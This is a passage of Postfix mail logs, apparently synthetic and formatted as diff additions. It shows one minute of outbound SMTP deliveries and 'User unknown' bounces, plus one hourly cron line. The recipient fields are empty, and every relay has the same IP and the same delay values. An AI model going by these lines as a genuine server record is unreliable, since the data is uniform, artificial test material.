OK) +Jul 02 11:05:10 mail-server postfix/smtp[20930]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:10 mail-server postfix/smtp[24701]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:15 mail-server postfix/smtp[10535]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:15 mail-server postfix/smtp[11727]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:15 mail-server postfix/smtp[12557]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:15 mail-server postfix/smtp[12676]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:15 mail-server postfix/smtp[14762]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:15 mail-server postfix/smtp[15488]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:15 mail-server postfix/smtp[15986]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:15 mail-server postfix/smtp[16045]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:15 mail-server postfix/smtp[18821]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:15 mail-server postfix/smtp[18956]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:15 mail-server postfix/smtp[19867]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:15 mail-server postfix/smtp[20986]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:15 mail-server postfix/smtp[25604]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:15 mail-server postfix/smtp[29610]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:20 mail-server postfix/smtp[12832]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:20 mail-server postfix/smtp[12887]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:20 mail-server postfix/smtp[13328]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:20 mail-server postfix/smtp[16583]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:20 mail-server postfix/smtp[16711]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:20 mail-server postfix/smtp[19549]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:20 mail-server postfix/smtp[21091]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:20 mail-server postfix/smtp[24102]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:25 mail-server postfix/smtp[10694]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:25 mail-server postfix/smtp[12084]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:25 mail-server postfix/smtp[15337]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:25 mail-server postfix/smtp[15872]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:25 mail-server postfix/smtp[16129]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:25 mail-server postfix/smtp[17144]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:25 mail-server postfix/smtp[18623]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:25 mail-server postfix/smtp[19280]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:25 mail-server postfix/smtp[19957]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:25 mail-server postfix/smtp[19963]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:25 mail-server postfix/smtp[20423]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:30 mail-server postfix/smtp[10030]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:30 mail-server postfix/smtp[11546]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:30 mail-server postfix/smtp[11572]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:30 mail-server postfix/smtp[14143]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:30 mail-server postfix/smtp[15005]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:30 mail-server postfix/smtp[16518]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:30 mail-server postfix/smtp[16882]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:30 mail-server postfix/smtp[18976]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:30 mail-server postfix/smtp[19547]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:30 mail-server postfix/smtp[19846]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:30 mail-server postfix/smtp[29004]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:35 mail-server postfix/smtp[10449]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:35 mail-server postfix/smtp[11668]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:35 mail-server postfix/smtp[12010]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:35 mail-server postfix/smtp[12204]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:35 mail-server postfix/smtp[12843]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:35 mail-server postfix/smtp[13216]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:35 mail-server postfix/smtp[13501]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:35 mail-server postfix/smtp[14656]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:35 mail-server postfix/smtp[14961]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:35 mail-server postfix/smtp[14998]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:35 mail-server postfix/smtp[16034]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:35 mail-server postfix/smtp[16910]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:35 mail-server postfix/smtp[18849]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:35 mail-server postfix/smtp[19807]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:35 mail-server postfix/smtp[23129]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:40 mail-server postfix/smtp[10390]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:40 mail-server postfix/smtp[10469]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:40 mail-server postfix/smtp[11794]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:40 mail-server postfix/smtp[13650]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:40 mail-server postfix/smtp[13987]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:40 mail-server postfix/smtp[14476]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:40 mail-server postfix/smtp[15764]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:40 mail-server postfix/smtp[16244]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:40 mail-server postfix/smtp[16477]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:40 mail-server postfix/smtp[17732]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:40 mail-server postfix/smtp[19206]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:40 mail-server postfix/smtp[19417]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:40 mail-server postfix/smtp[23267]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:40 mail-server postfix/smtp[25607]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:40 mail-server postfix/smtp[28763]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:45 mail-server postfix/smtp[10562]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:45 mail-server postfix/smtp[12412]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:45 mail-server postfix/smtp[12629]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:45 mail-server postfix/smtp[13224]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:45 mail-server postfix/smtp[14073]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:45 mail-server postfix/smtp[15614]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:45 mail-server postfix/smtp[15717]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:45 mail-server postfix/smtp[16548]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:45 mail-server postfix/smtp[17648]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:45 mail-server postfix/smtp[18055]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:45 mail-server postfix/smtp[18338]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:45 mail-server postfix/smtp[18642]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:45 mail-server postfix/smtp[19476]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:45 mail-server postfix/smtp[21383]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:45 mail-server postfix/smtp[21995]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:50 mail-server CRON[8739]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:05:50 mail-server postfix/smtp[10814]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:50 mail-server postfix/smtp[12913]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:50 mail-server postfix/smtp[15962]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:50 mail-server postfix/smtp[16151]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:50 mail-server postfix/smtp[16482]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:50 mail-server postfix/smtp[19294]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:50 mail-server postfix/smtp[21462]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:50 mail-server postfix/smtp[22998]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:50 mail-server postfix/smtp[29407]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:55 mail-server postfix/smtp[10937]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:55 mail-server postfix/smtp[13932]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:55 mail-server postfix/smtp[16627]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:55 mail-server postfix/smtp[17295]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:55 mail-server postfix/smtp[18219]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:05:55 mail-server postfix/smtp[22579]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:55 mail-server postfix/smtp[22978]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:05:55 mail-server postfix/smtp[25041]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:00 mail-server postfix/smtp[10069]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:00 mail-server postfix/smtp[11295]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:00 mail-server postfix/smtp[11309]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:00 mail-server postfix/smtp[11535]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:00 mail-server postfix/smtp[11670]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:00 mail-server postfix/smtp[11901]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:00 mail-server postfix/smtp[12953]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:00 mail-server postfix/smtp[13104]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:00 mail-server postfix/smtp[13978]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:00 mail-server postfix/smtp[14812]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:00 mail-server postfix/smtp[16750]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:00 mail-server postfix/smtp[18984]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:00 mail-server postfix/smtp[20643]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:00 mail-server postfix/smtp[22897]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:00 mail-server postfix/smtp[23575]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:05 mail-server postfix/smtp[10055]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:05 mail-server postfix/smtp[12100]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:05 mail-server postfix/smtp[13120]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:05 mail-server postfix/smtp[13943]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:05 mail-server postfix/smtp[16325]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:05 mail-server postfix/smtp[17105]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:05 mail-server postfix/smtp[17608]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:05 mail-server postfix/smtp[19726]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:05 mail-server postfix/smtp[21471]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:05 mail-server postfix/smtp[23920]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:05 mail-server postfix/smtp[24586]: to=, relay=local, delay=0.02, delays=0.01/0/0/0.01, dsn=5.1.1, status=bounced (host local said: 550 5.1.1 : Recipient address rejected: User unknown) +Jul 02 11:06:10 mail-server postfix/smtp[10267]: to=, relay=mx4.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:10 mail-server postfix/smtp[10985]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:10 mail-server postfix/smtp[11074]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:10 mail-server postfix/smtp[11571]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:10 mail-server postfix/smtp[13103]: to=, relay=mx2.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:10 mail-server postfix/smtp[13403]: to=, relay=mx3.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:10 mail-server postfix/smtp[13804]: to=, relay=mx1.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 11:06:10 mail-server postfix/smtp[13898]: to=, relay=mx0.mail-provider.net[10.0.2.1]:25, delay=1.5, delays=0.01/0/0.5/1, 